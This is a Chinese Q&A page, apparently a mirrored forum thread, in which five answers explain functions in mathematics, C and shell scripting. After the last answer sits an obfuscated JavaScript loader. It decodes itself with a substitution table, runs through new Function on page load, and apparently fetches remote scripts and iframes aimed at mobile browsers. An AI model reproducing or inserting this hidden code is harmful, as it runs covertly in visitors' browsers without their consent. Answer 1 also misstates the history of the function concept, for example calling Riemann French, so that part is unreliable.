什么是函数?函数分为几种.

2024-12-08 14:40:35
推荐回答(5个)
回答1:

函数就是在某变化过程中有两个变量X和Y,变量Y随着变量X一起变化,而且依赖于X。如果变量X取某个特定的值,Y依确定的关系取相应的值,那么称Y是X的函数。这一要领是由法国数学家黎曼在19世纪提出来的,但是最早产生于德国的数学家菜布尼茨。他和牛顿是微积分的发明者。17世纪末,在他的文章中,首先使用了“function"一词。翻译成汉语的意思就是“函数。不过,它和我们今天使用的函数一词的内涵并不一样,它表示”幂”、“坐标”、“切线长”等概念。
直到18世纪,法国数学家达朗贝尔在进行研究中,给函数重新下了一个定义,他认为,所谓变量的函数,就是指由这些变量和常量所组成的解析表达式,即用解析式表达函数关系。后来瑞士的数学家欧拉又把函数的定义作了进一步的规范,他认为函数是能描画出的一条曲线。我们常见到的一次函数的图像、二次函数的图像、正比例函数的图像、反比例的图像等都是用图像法表示函数关系的。如果用达朗贝尔和欧拉的方法来表达函数关系,各自有它们的优点,但是如果作为函数的定义,还有欠缺。因为这两种方法都还停留在表面现象上,而没有提示出函数的本质来。
19世纪中期,法国数学家黎紧吸收了莱布尼茨、达朗贝尔和欧拉的成果,第一次准确地提出了函数的定义:如果某一个量依赖于另一个量,使后一个量变化时,前一个量也随着变化,那么就把前一个量叫做后一个量的函数。黎曼定义的最大特点在于它突出了就是之间的依赖、变化的关系,反映了函数概念的本质属性。
参考资料:中国教育信息网

回答2:

你说的是C语言函数吧?数学函数就不说了。

在C语言中可从不同的角度对函数分类。

1. 从函数定义的角度看,函数可分为库函数和用户定义函数两种。

(1)库函数
由C系统提供,用户无须定义, 也不必在程序中作类型说明,只需在程序前包含有该函数原型的头文件即可在程序中直接调用。在前面各章的例题中反复用到printf 、 scanf 、 getchar 、putchar、gets、puts、strcat等函数均属此类。

(2)用户定义函数
由用户按需要写的函数。对于用户自定义函数, 不仅要在程序中定义函数本身, 而且在主调函数模块中还必须对该被调函数进行类型说明,然后才能使用。

2. C语言的函数兼有其它语言中的函数和过程两种功能,从这个角度看,又可把函数分为有返回值函数和无返回值函数两种。

(1)有返回值函数
此类函数被调用执行完后将向调用者返回一个执行结果, 称为函数返回值。如数学函数即属于此类函数。 由用户定义的这种要返回函数值的函数,必须在函数定义和函数说明中明确返回值的类型。

(2)无返回值函数
此类函数用于完成某项特定的处理任务, 执行完成后不向调用者返回函数值。这类函数类似于其它语言的过程。 由于函数无须返回值,用户在定义此类函数时可指定它的返回为“空类型”, 空类型的说明符为“void”。

3. 从主调函数和被调函数之间数据传送的角度看又可分为无参函数和有参函数两种。

(1)无参函数
函数定义、函数说明及函数调用中均不带参数。 主调函数和被调函数之间不进行参数传送。 此类函数通常用来完成一组指定的功能,可以返回或不返回函数值。

(2)有参函数
也称为带参函数。在函数定义及函数说明时都有参数, 称为形式参数(简称为形参)。在函数调用时也必须给出参数, 称为实际参数(简称为实参)。 进行函数调用时,主调函数将把实参的值传送给形参,供被调函数使用。

4. C语言提供了极为丰富的库函数, 这些库函数又可从功能角度作以下分类。
(1)字符类型分类函数
用于对字符按ASCII码分类:字母,数字,控制字符,分隔符,大小写字母等。
(2)转换函数
用于字符或字符串的转换;在字符量和各类数字量 (整型, 实型等)之间进行转换;在大、小写之间进行转换。
(3)目录路径函数
用于文件目录和路径操作。
(4)诊断函数
用于内部错误检测。
(5)图形函数
用于屏幕管理和各种图形功能。
(6)输入输出函数
用于完成输入输出功能。
(7)接口函数
用于与DOS,BIOS和硬件的接口。
(8)字符串函数
用于字符串操作和处理。
(9)内存管理函数
用于内存管理。
(10)数学函数
用于数学函数计算。
(11)日期和时间函数
用于日期,时间转换操作。
(12)进程控制函数
用于进程管理和控制。
(13)其它函数
用于其它各种功能。

以上各类函数不仅数量多,而且有的还需要硬件知识才会使用,因此要想全部掌握则需要一个较长的学习过程。 应首先掌握一些最基本、 最常用的函数,再逐步深入。由于篇幅关系,本书只介绍了很少一部分库函数, 其余部分读者可根据需要查阅有关手册。

还应该指出的是,在C语言中,所有的函数定义,包括主函数main在内,都是平行的。也就是说,在一个函数的函数体内, 不能再定义另一个函数, 即不能嵌套定义。但是函数之间允许相互调用,也允许嵌套调用。习惯上把调用者称为主调函数。 函数还可以自己调用自己,称为递归调用。main 函数是主函数,它可以调用其它函数,而不允许被其它函数调用。 因此,C程序的执行总是从main函数开始, 完成对其它函数的调用后再返回到main函数,最后由main函数结束整个程序。一个C源程序必须有,也只能有一个主函数main。

零开始学函数应该从基本的C语言语法学起,扎实基础再说。

-------------------------
一、局部变量 局部变量也称为内部变量。局部变量是在函数内作定义说明的。其作用域仅限于函数内, 离开该函数后再使用这种变量是非法的。

二、全局变量 全局变量也称为外部变量,它是在函数外部定义的变量。 它不属于哪一个函数,它属于一个源程序文件。其作用域是整个源程序。在函数中使用全局变量,一般应作全局变量说明。 只有在函数内经过说明的全局变量才能使用。全局变量的说明符为extern。 但在一个函数之前定义的全局变量,在该函数内使用可不再加以说明。

变量的存储方式可分为“静态存储”和“动态存储”两种。
静态存储变量通常是在变量定义时就分定存储单元并一直保持不变, 直至整个程序结束。
动态存储变量是在程序执行过程中,使用它时才分配存储单元, 使用完毕立即释放。

三、静态变量 静态变量的类型说明符是static。 静态变量当然是属于静态存储方式,但是属于静态存储方式的量不一定就是静态变量, 例如外部变量虽属于静态存储方式,但不一定是静态变量,必须由 static加以定义后才能成为静态外部变量,或称静态全局变量。 对于自动变量,前面已经介绍它属于动态存储方式。 但是也可以用static定义它为静态自动变量,或称静态局部变量,从而成为静态存储方式。由此看来, 一个变量可由static进行再说明,并改变其原有的存储方式。

回答3:

shell函数是一种为后续操作组织命令的方法,使用单个名字来命名这些命令组或者 routine。在shell或者是脚本当中,这个过程的名字必须是唯一的。所有用来组织函数的命令就像普通命令一样执行。当以一个简单的命令名来调用函数的时候,和该函数相关的命令就被执行。函数在必须声明,然后在shell里执行:没有新的进程会被创建来打断这个命令。

特殊的内建命令在命令查找中先于shell函数。特殊的内建命令:break, :, ., continue, eval, exec, exit, export, readonly, return, set, shift, trap 和 unset.

函数的观念随著微积分的发展而演变,直到十九世纪才完全成熟。

伽利略(1564-1642)研究落体运动,发现「一物体在空中下降的距离,与所经过的时间的平方成正比」。「一物体从高度固定的斜板滑落所需的时间与斜坡的长度成正比」,十七世纪的科学革命开始注重自然界的动态现象,因此促使能够描述动态的函数观念渐趋成熟。

研究运动也引出更多的曲线,而曲线和函数之间,也经由坐标的引入,变得不可分离。最早的想法认为:一个函数是一个代数式子,只含变数及加减乘除开方等符号。渐渐地,所谓超越(代数的)函数,如三角、对数、指数等等也加了进来,加上种种曲线的研究,由这些函数经四则运算及合成运算可得的所谓初等函数,在十八世纪上半叶就已经非常清楚了。

Newton(1642-1727)等人尽量把函数写成幂级数,这样它的微分与积分,就可经由逐项微分与积分来处理。到了十八世纪中叶,数学家乾脆认定函数就是幂级数,而一般的幂级数都可以看成函数。

此时波动问题的兴起,使「函数就是幂级数」这种观念不时遭到挑战,迫使Euler(1707-1783)承认,波动开始时,弦所成的曲线y=f(x)可以是任意的,只要是连续的,但不一定可用幂级数来表示。到了十九世纪初,Fourier(1768-1830)研究热传导时,他发现必须把初期条件f(x)以三角级数展开:



根据传统的作法,他原假定f(x)为幂级数才能有这样的表示法。但他注意到an,bn只不过是函数 , 的曲线下的面积而已,所以不管y=f(x)是怎样的曲线,an、bn都可算得,而深信「任何」函数都可表成三角级数之和。
不过「任何」函数牵涉到函数到底是什麼,这一点Fourier也说不清楚。函数观念的澄清是Dirichlet(1805-1859)研究Fourier论文后的重要贡献。他认为函数f是一个规则,它告诉我们变数x之值固定了,其相应唯一的y=f(x)之值是什麼。f不一定要是一个式子,它只要能说明x到y之间的对应是什麼就好了。所以函数不一定是幂级数,也不一定是三角级数;反过来,数学家要研究的是:怎样的函数可表为幂级数?表成为三角函数?

每一函数都有它的对应规则,这些规则的表现方法至少有三种:式子、图形、数表, f(x)=x2 +x+ 1是个式子,但其实它代表一段叙述,说明x与y=f(x)的对应,只是我们太习惯於多项式所代表的意义,就认为它是个式子。,f(x)=[x](高斯函数)等也一样,开始时是一段叙述,久了就成为式子。除了「明」的式子外,还有些「暗」的式子。暗的式子指的是以参数函数、隐函数、微分方程式、积分方程式等来表示自变数x与他变数y之间的数学关系(不一定是单值的对应)。怎样化暗为明自然是重要的课题。

式子之外,函数最常以曲线的形式出现。譬如两电线杆之间的电线所成的曲线,小提琴的声波曲线;它们也可用式子表示出来。但像某地的气温变化曲线,患病者的脑波曲线等,就很难用式子表示。不过从这些曲线的变化,还是可以对情况有相当的了解。

第三种函数表示法为数表,它使我们马上查得函数值(或其近似值),这在应用数学上非常重要,而制表的原则及方法则有赖於微积分。(本文节录自曹亮吉的《微积分》(欧亚书局)之12-3。)

函数分为:表函数,反三角函数,正弦函数,回调函数,指数函数,一次函数,excel函数,oracle函数,二次函数.

回答4:

我只给你说C里的函数吧:
在C编程里,函数相当于一个抽水机,我们只管拿它来用,却不一定要知道它是怎么组装出来的,也并不需要知道它的原理是什么,我们只看重的是它能不能抽得出来水.

根据上面所说的函数,也就是说当我们调用函数时并不一定需要知道函数究竟是什么,它里面装了什么东西,只需要知道你当前使用的函数能做什么就行了.

举例:a = abs(c)
其中abs就是一个函数,我们要使用函数,当然函数要有一个名称了,不然我们怎么调用嘛,这个名称abs就叫作函数名.这个函数的作用是取变量c的绝对值,然后把绝对值付值给变量a.我们使用函数abs是只需要知道他是做什么用的,以及怎么用它就行了,至于它的内部对数据进行了怎样的处理,我们大可不必要知道,当然你能够知道更好.呵呵.

函数就实际上就是对特定的对象实现某些特定功能的计算机指令.

这个特定的对象也就是将要被函数进行运算或者处理的数据,我们称之为函数的输入数据,既然有输入一般地就应该有输出.
上面的变量c就是我们的输入数据,a就是保存函数输出的数据的变量.

简单看,函数就像一部机器,我们把原材料准备好,并输送给它,它就能按照它自己应该有的功能给我们输出产品来.

变量就是一个它的值是可以改变的东西.

实际上变量对应的是一块"内存"地址,你就把这块内存地址想象成一块土地,这块土地上我们可以种庄稼,也可以盖房,还可以做能在这块土地上所做的任何事情.这块土地就是一个变量.当然我们不能超出这块土地办事,否则就乱套了,不信你在别人家的客厅修个自己的厕所看看.

当然计算机的土地我们认为是内存,而描述内存大小的单位我们叫字节,而变量就是占用计算机内存的一小块土地,这块土地我们假设有4个字节,那个这个变量就只能保存4个字节大小的东西,当然任何东西都可以,只要它的大小是4个字节.

如上面的例子:其中a,c是我们定义的变量
在c语言中,变量必须先定义了才能使用,就我们要使用土地一样,先写申请.
可能定义如下:
int a,c;
int是表示a,c为整数类别的变量.
我们可以给a,或者c付任何整数的值,因为它是变量.
比如:a=10;或者a=11都行.

我们假设有如下代码
int a,c;
c = -13;
a = abs(c);

你知道a的值会为多少吗?a保存的是abs函数返回的结果.

随便问问你是哪里的人,太远了,我不能帮你,看你这么想学.

回答5:

谁说程序员的函数不是数学函数?他们是一种类比的关系
数学中f(x)是一个关于x的函数,其中f是法则,在编程中,每一个函数就是一个法则,能让程序怎么样或干什么,这就是函数最通俗的理解
对于变量跟数学中的变量有一定区别,举个例子,你要设计一个程序,程序开始出现一个界面,让你输入你的名字,然后一点确定,就出现另一个窗口,说出了你的名字!~
试想,这样的程序设计过程中,谁知道你输入的是什么名字,那他们怎么设置弹出窗口的显示那?
这就需要变量,把你刚开使的名字输入看作一个变量,然后放入一个箱子,而要弹出显示名字界面时,从箱子里取出变量并显示。从这个通俗的例子中你自己理解变量的含义吧!·
说点题外话,你是为了专业学习还是想业余爱好,如果业余爱好的话你可以选择VB6来学习,它上手最快,学习很短的时间就可以写出很实用而且界面非常华丽程序。

如果是专业学习,那就可以选择C,在这个流行语言多变的年代,古老的C永远是不会过失,因为它是系统级的语言,优化的非常好的C可以跟汇编的速度差不多了。但是C语言因为是完全面向过程,所以它本身在win32下是没有什么用的,只能是调用外部函数与对象才能有很大作用,但那对水平要求要非常高了,反而不如C++来得容易,因为它面向对象,有很多地方就可以不懂原理而直接使用,所以功能在很多方面要比C实用,但当然,学习C达到深通原理,就无所不能,
为汇编语言的学习打下坚实的基础,但是我量力而为所以没有深研C。你跟情况自己选择吧!~
QQ我就不留了,有什么问题直接来我的百度博客吧!~点我的名字就进去了!~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();